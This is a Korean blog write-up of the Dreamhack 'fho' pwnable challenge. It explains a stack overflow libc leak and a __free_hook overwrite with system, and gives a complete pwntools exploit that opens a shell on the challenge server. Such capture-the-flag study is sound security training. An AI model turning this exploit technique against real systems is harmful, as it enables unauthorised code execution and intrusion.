[Pwnable] fho

2025. 5. 9. 20:53·Hacking/Write Up
728x90
반응형

문제 : https://dreamhack.io/wargame/challenges/355

 

fho

Description Exploit Tech: Hook Overwrite에서 실습하는 문제입니다. Challenge Updates 2023.04.27: Dockerfile이 제공됩니다.

dreamhack.io

 

Environment

[*] '/home/minzu/Dreamhack/fho/fho'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
  • Canary : canary를 leak하는 과정이 필요하다
  • NX enabled : 스택에 실행 권한이 존재하지 않는다. 
  • Full RELRO : 메모리에 쓰기 권한이 없다 -> 보통 got overwrite 기법이 불가능하다
  • PIE enabled : 코드 영역의 주소가 변화한다.

Code Analysis

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

Vulnerability Type : Stack buffer Overflow (BOF)

현재 buf는 0x30만큼 할당되어있다.

read는 0x100만큼 입력받기 때문에 read할 때 입력의 크기 제한 보다 buf의 크기가 작으므로 스택 오버플로우 가능성이 존재한다. 

 

해당 코드를 취약하다고 판단한 이유는 다음과 같다. 

  1. 입력 크기 제한 > 버퍼 크기
  2. 스택 상 연속된 메모리 구조 침범 가능성
  3. 실행 흐름 조작 가능성 -> return addr에 접근할 수 있음 
  4. 보호 기법을 bypass할 수 있음 -> canary leak 등

이에 따라 해당 코드는 익스플로잇이 가능하다.

 

Exploit Idea

  1. main의 return 값을 이용하여 libc_base leak
  2. system('/bin/sh')으로 free_hook을 덮어쓰기

원가젯으로 hook을 덮을 수 있다.

하지만, 원가젯은 사용하지 못할 가능성이 더 높기 때문에 바로 system('/bin/sh')로 덮기로 하였다. 

 

이번에는 canary를 leak할 필요가 없다.

카나리에 접근하기 전에 hook을 overwrite하는 것이기 때문이다

 

* 익스플로잇에 필요한 재료들을 잘 파악해보자

 

Ingredients of Exploit

이미 hook에 쓰고, 읽는 것은 해결해주고 있다. 

따라서 우리한테 필요한 것들을 자세히 생각해보자

  • libc_base의 주소

libc_base의 주소를 어떻게 구할 수 있을까?

우리는 현재 스택 버퍼 오버플로우를 이용하여 스택에 존재하는 값을 읽을 수 있다.

libc에 포함되어 있는 부분의 주소를 읽기 위해서 buf부터 ret까지 libc와 관련된 부분은 ret뿐이다.

main 함수는 __libc_start_main이라는 라이브러리 함수를 통해 호출되기 때문에

ret 부분에 저장되어 있는 값을 통해서 libc_base 주소를 구할 수 있다.

 

Stack Frame

 

Exploit Scenario

libc_base 주소 계산

main의 return addr에는 libc_start_main의 함수 주소 중 “중간”부분(어딘지는 모름) 리턴해야하는 주소가 존재한다.

따라서 libc_start_main의 “어디”에서 리턴하는지 알아내야한다.

즉, libc_base = leak된 주소 - libc_start_main + 리턴 위치(offset)인 것이다.

 

디버깅해서 내가 정확히 어디로 리턴하는지 알아내야한다.

나는 도커를 빌드해서 밖에서 gdb를 붙여서 실행했다. 

도커를 실행 한 후, 안에서 디버거를 설치하면 디버거의 libc가 다른 걸로 변경 될 수 있다. 

도커를 빌드한 후, 밖에서 디버거를 붙여 사용하도록 하자

 

return 하는 부분을 살펴보면

pwndbg> x/i 0x00007f5ae2f1cc87
   0x7f5ae2f1cc87 <__libc_start_main+231>:  mov    edi,eax

이렇게 되어있다. 

따라서 지금 ret에 저장되어 있는 것은 __libc_start_main + 231이다.

 

ret을 어떻게 해야 leak할 수 있을까?

우리가 0x48바이트를 입력하게 된다면, 끝에 NULL 바이트를 넣지 않으면 NULL 바이트가 나올 때까지 출력하게 된다. 

따라서 ret까지 info leak을 시도할 수 있는 것이다. 

 

free hook -> system

free hook을 system의 주소로 덮는다. 

write : free_hook

with : system

해주게 되면, 자동으로 free_hook의 포인터가 system을 가리키게 된다. 

이후, free('/bin/sh')를 실행시키면 된다. 

 

Exploit

from pwn import *

p = remote('host3.dreamhack.games',11653)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

leak_payload = b'A' * 0x48
p.sendafter('Buf: ', leak_payload)
p.recvuntil(leak_payload)
libc_start_main_offset = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_offset - (libc.sym['__libc_start_main'] + 231)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))

p.sendlineafter('write: ', str(free_hook).encode())
p.sendlineafter('With: ', str(system).encode())
p.sendlineafter('free: ', str(binsh).encode())

p.interactive()

 

Question & Learn

Docker와 GDB

docker로 빌드한 환경에 gdb를 설치했더니, gdb 설치의 영향인지 libc의 버전이 바뀌게 되었다. 

개인적으로는 해당 글을 참고하여 문제를 해결하였다.

https://blog.sechack.kr/136

 

포너블 로되리안을 해결하는 개쩌는 방법

포너블을 주분야로 하는 포너라면 누구나 공감하는 개빡치는 순간이 있다. 바로 로컬에서 exploit에 성공했는데 remote에서는 실패할때다. 이런 개빡치는 상황을 로컬에선 되고 리모트에선 안된다

blog.sechack.kr

docker와 커널을 공유하기 때문에, 밖에서 gdb를 붙여서 사용할 수 있다 

 

Exploit의 재료

당연히 카나리를 leak해야한다고 생각했다. 

하지만, 이번 경우에는 ret addr가 필요하지만, ret addr의 leak이 필요한 것이지, 이걸 덮는 것이 목적이 아니었다

따라서, 카나리를 덮지만 덮지 않은 효과가 나타난다. info leak을 위해 덮은 것 뿐이고, 카나리를 확인하는 과정 전에서 이미 exploit 되기 때문이다.

 

익스플로잇 방법에 따라서 익스플로잇에 어떤 것이 필요한지 정확히 파악하는 것이 중요할 것 같다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Hacking > Write Up' 카테고리의 다른 글

[Pwnable] oneshot  (0) 2025.05.16
[Reversing] Easy Assembly  (0) 2025.05.10
[Pwnable] basic_rop_x86  (0) 2025.05.08
[Pwnable] basic_rop_x64  (0) 2025.01.01
[Pwnable] rop  (0) 2024.12.29
'Hacking/Write Up' 카테고리의 다른 글
  • [Pwnable] oneshot
  • [Reversing] Easy Assembly
  • [Pwnable] basic_rop_x86
  • [Pwnable] basic_rop_x64
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    DeepLearning
    Graph
    Linux
    WinAFL
    UTM
    OS
    ComputerArchitecture
    Sort
    Search
    Web
    DataStructure
    Tree
    AI
    Mac
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
[Pwnable] fho
상단으로

티스토리툴바